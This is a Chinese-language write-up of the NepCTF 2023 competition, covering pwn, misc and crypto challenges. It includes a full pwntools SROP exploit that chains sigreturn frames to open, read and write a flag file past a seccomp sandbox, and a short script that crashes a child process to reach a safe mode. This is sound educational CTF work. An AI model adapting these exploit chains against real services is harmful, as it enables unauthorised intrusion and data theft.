2023 NepCTF WP


NepCTF2023 WP

真的超级紧张刺激的比赛!!有做不出题目夜不能寐的痛苦,也有冥思苦想之后的豁然开朗,第一次感受到了ctf比赛的乐趣所在。虽然最后的成绩停留在110,不过对于一个初出茅庐的萌新,已经很满足了;即使比赛结束后才做出三月七和最后放出的两个pwn题(挺气的,早知道不看万恶的login的……)。那就给自己继续加油吧,希望下次比赛能拿到属于自己的一份荣誉!

PWN

srop

使用经典srop技巧,但是在此基础上又加了orz,观察程序会发现,能够调用sigreturn(调用号为0xf),而且溢出量足够大(0x300)。整体的一个思路就是构造system call chains,伪造四个栈帧,在syscall返回的时候,rsp会返回到另一个sigframe,从而实现一个又一个的函数调用。

几个注意点:

  1. 利用pwntools写frame的时候对各个寄存器传入的都是地址,不能直接把字符串写进去(会bytes()报错 别问为什么我知道
  2. 返回执行系统syscall的时候注意这个程序只有call _system,而没有直接的syscall汇编指令,而进入到call _system单步调试可以发现这个过程中各个寄存器的值是会发生变化的(不同的寄存器之间赋值),所以我们在构造frame指定寄存器值的时候需要根据call _system中的指令来调整frame的各个寄存器值,sigreturn也是如此,有其他的命令会改变rax的值,因此需要多一个pop rdi控制一下
  3. 各个stack_frame需要精心构造
  4. 因为沙箱禁掉了execve,所以我们使用open,read,write绕过沙箱。(一定注意这里读取文件内容的read系统调用rdi传参是3)

exp

from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']

#p = process("./pwn")
p = remote('nepctf.1cepeak.cn',31552)


#gdb.attach(p)
#syscall = 0x400788
syscall = 0x04005B0
pop_rdi = 0x0000000000400813
sigreturn = p64(pop_rdi)+p64(0xf)+p64(0x400750)+p64(syscall)
buf = 0x0601020  # buf地址


#write
frame4 = SigreturnFrame(kernel='amd64')
frame4.rdi = constants.SYS_write#rax
frame4.rcx = 0x40#rdx
frame4.rsi = 1#rdi
frame4.rdx = buf#rsi
frame4.rip = syscall
frame4.rsp = buf#+len(sigreturn+bytes(sigframe))  # 设置栈顶指针位置
stack3 = sigreturn+bytes(frame4)

#open
frame2 = SigreturnFrame(kernel='amd64')
frame2.rdi = constants.SYS_open#rax
frame2.rcx = 0#rdx
frame2.rsi = buf#rdi注意这里是不能直接传字符串"flag"的,而是应该传地址
frame2.rip = syscall
frame2.rsp = buf+5+len(sigreturn+bytes(frame2))  # 设置栈顶指针位置
stack1 = sigreturn+bytes(frame2)

#read2
frame3 = SigreturnFrame(kernel='amd64')
frame3.rdi = constants.SYS_read#rax
frame3.rcx = 0x40#rdx
frame3.rsi = 3#rdi
frame3.rdx = buf#rsi
frame3.rip = syscall
frame3.rsp = buf+5+len(stack1+sigreturn+bytes(frame3))  # 设置栈顶指针位置
stack2 = sigreturn+bytes(frame3)

stack_frame = b"flag\x00"+stack1+stack2+stack3
#stack_frame = sigreturn+bytes(sigframe)+sigreturn+bytes(sframe)

#read1
frame = SigreturnFrame(kernel='amd64')
frame.rdi = constants.SYS_read#rax
frame.rcx = len(stack_frame)#rdx
frame.rsi = 0#rdi
frame.rdx = buf#rsi
frame.rip = syscall
frame.rsp = buf+5  # 设置栈顶指针位置


print(bytes(frame))

pad = cyclic(0x38)
pad += sigreturn + bytes(frame)

p.recv()
p.send(pad)

#pause(1)
#gdb.attach(p)
p.send(stack_frame)

p.interactive()




image-20230814004138378

可恶的Login找不出路径……

HRP-CHAT-2

真的服了….真的就差一步,下标没弄清楚,其实一个个试都可以试出来的….

获得攻击力最高的角色(需要抽卡得到,抽卡的次数会影响你的下标)

选择攻击力最强的技能,击败boss即可拿到flag

image-20230815135736939

HRP-CHAT-3

阅读源码

image-20230815141853615

main函数里执行子进程,崩溃进入CMD

CMD函数

image-20230815141945133

可以想到让子进程崩溃后,进入安全模式拿flag

from pwn import *
context(os='linux', arch='amd64')
#context(os='linux', arch='amd64', log_level='debug')
#context.terminal = ['tmux', 'splitw', '-h']

#p = process("./")
p = remote('nepctf.1cepeak.cn',31971)

sda = lambda delim,data :p.sendafter(delim,data)
sd = lambda data :p.send(data)
sea = lambda delim,data :p.sendafter(delim,data)
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(delim,data)
ru = lambda delims,drop=True :p.recvuntil(delims,drop)
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
lg = lambda name,addr :log.success(name+'='+hex(addr))
ia = lambda :p.interactive()

def get_addr64() : return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_addr32() : return u32(p.recvuntil(b'\xf7')[-4:])

ru(b'help')
sl(b'Login\n')
sla('6',b'Login\n'*0x517)

sl(b'\nSafe_Mode_Key')

ia()

image-20230815143957697

MISC

checkin

一个号只能发一次,第一次发错了….(哭)

NepCTF{H4ve_Fun_1N_This_Game}

与AI共舞的哈夫曼

年轻人就要年轻,正经人谁自己做题啊~x

GPT秒了

image-20230814001753757

import heapq
import os

class HuffmanNode:
    def __init__(self, char, freq):
        self.char = char
        self.freq = freq
        self.left = None
        self.right = None

    def __lt__(self, other):
        return self.freq < other.freq

def build_huffman_tree(frequencies):
    heap = [HuffmanNode(char, freq) for char, freq in frequencies.items()]
    heapq.heapify(heap)

    while len(heap) > 1:
        left = heapq.heappop(heap)
        right = heapq.heappop(heap)
        merged = HuffmanNode(None, left.freq + right.freq)
        merged.left = left
        merged.right = right
        heapq.heappush(heap, merged)

    return heap[0]

def build_huffman_codes(node, current_code, huffman_codes):
    if node is None:
        return

    if node.char is not None:
        huffman_codes[node.char] = current_code
        return

    build_huffman_codes(node.left, current_code + '0', huffman_codes)
    build_huffman_codes(node.right, current_code + '1', huffman_codes)

def compress(input_file, output_file):
    with open(input_file, 'rb') as f:
        data = f.read()

    frequencies = {}
    for byte in data:
        if byte not in frequencies:
            frequencies[byte] = 0
        frequencies[byte] += 1

    root = build_huffman_tree(frequencies)
    huffman_codes = {}
    build_huffman_codes(root, '', huffman_codes)

    compressed_data = ''
    for byte in data:
        compressed_data += huffman_codes[byte]

    padding = 8 - len(compressed_data) % 8
    compressed_data += '0' * padding

    with open(output_file, 'wb') as f:
        # Write frequency information
        f.write(bytes([len(frequencies)]))
        for byte, freq in frequencies.items():
            f.write(bytes([byte, (freq >> 24) & 0xFF, (freq >> 16) & 0xFF, (freq >> 8) & 0xFF, freq & 0xFF]))

        # Write compressed data
        for i in range(0, len(compressed_data), 8):
            byte = compressed_data[i:i+8]
            f.write(bytes([int(byte, 2)]))


def decompress(compressed_file, decompressed_file):
    with open(compressed_file, 'rb') as f:
        # 读取频率信息
        num_symbols = int.from_bytes(f.read(1), byteorder='big')
        frequencies = {}
        for _ in range(num_symbols):
            byte, freq1, freq2, freq3, freq4 = f.read(5)
            freq = (freq1 << 24) | (freq2 << 16) | (freq3 << 8) | freq4
            frequencies[byte] = freq

        # 构建哈夫曼树
        root = build_huffman_tree(frequencies)

        # 解压缩数据
        current_node = root
        decompressed_data = bytearray()
        while True:
            bit = f.read(1)
            if not bit:
                break

            bit = int.from_bytes(bit, byteorder='big')
            for i in range(7, -1, -1):
                if current_node.char is not None:
                    decompressed_data.append(current_node.char)
                    current_node = root

                if (bit >> i) & 1 == 1:
                    current_node = current_node.right
                else:
                    current_node = current_node.left

        # 写入解压缩后的数据
        with open(decompressed_file, 'wb') as output_f:
            output_f.write(decompressed_data)

if __name__ == "__main__":
    input_file = 'input.txt'
    compressed_file = 'compressed.bin'
    decompressed_file = 'decompressed.txt'

    # 解压缩文件
    decompress(compressed_file, decompressed_file)

image-20230814101049586

codes

各种尝试想要提权结果没一个函数有用的,system,getenv,mprotect甚至read甚至env本身全都禁掉了

只好直接输出,想到函数参数依次入栈,而env环境变量也是main函数的一个参数,从而想到在argc的基础上++移动指针,暴力输出大量数据,从中找到flag

#include <stdio.h>
int main( int argc, char *argv[])
{
  forint i = 0; i< argc; ++i)
    {
      for(int j = 0;j<700;++j)
        printf("%d': %s n", i, argv[ i 」 + j );
    }

return 0;
}

(优雅)

image-20230814002546260

image-20230814002608949

小叮弹钢琴

mid音频隐写(我思考velato这样的音符编程语言尝试了好久最后发现就是个隐写??)

前半段是短音符和长音符,判断是摩斯电码,后面的是一串十六进制数字

摩斯电码解码得到tip:youshouldusethistoxorsomething

真,一开始断句成了this tox or something (甚至找了半天tox是啥)

接下来异或卡了好久,愣是没想到是用这句话去异或

之后联想前几个字母是NepCTF,尝试发现与之异或的是you,才发现把youshouldusethistoxorsomething这句话去异或0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17就行了

image-20230814003810621

陌生的语言

由给出的hint可知是小魔女学园的月文和龙语。

纯粹的信息收集了

img

NepCTF{NEPNEP_A_BELIEVING_Heart_is_your_magic}

ConnectedFive

真的是下棋下出来的

image-20230814005007869

你也喜欢三月七么

题目所给附件

salt_lenth= 10 
key_lenth= 16 
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= 
b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc

image-20230829202743433

看上去是AES,根据题目:

salt=NepCTF2023

salt用sha256加密后得到key,解得sha256(salt)= dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009

截取前十六位为key

from Crypto.Cipher import AES

key = 'dd8e671df3882c5be6423cd030bd7cb69671ef27dfe7a541903edc4e23168009'
iv_hex = '88219bdee9c396eca3c637c0ea436058' #原始iv转hex的值
ciphertext= '''b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc'''

# 把hex值转成bytes
iv = bytes.fromhex(iv_hex)
key = bytes.fromhex(key)[:16]
ciphertext = bytes.fromhex(ciphertext)

aes = AES.new(key, AES.MODE_CBC, iv)
plaintext = aes.decrypt(ciphertext)
print('plaintext:', plaintext)
# plaintext: b'6148523063484d364c793970625763784c6d6c745a3352774c6d4e76625338794d44497a4c7a41334c7a49304c336c5061316858553070554c6e42755a773d3d'

base64解码得到url

解压压缩包得

image-20230829203026261

找了找星铁的文字

对找得到flag

NepCTF{HRP_aIways_likes_March_7th}


文章作者: lmarch2
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 lmarch2 !
评论
  目录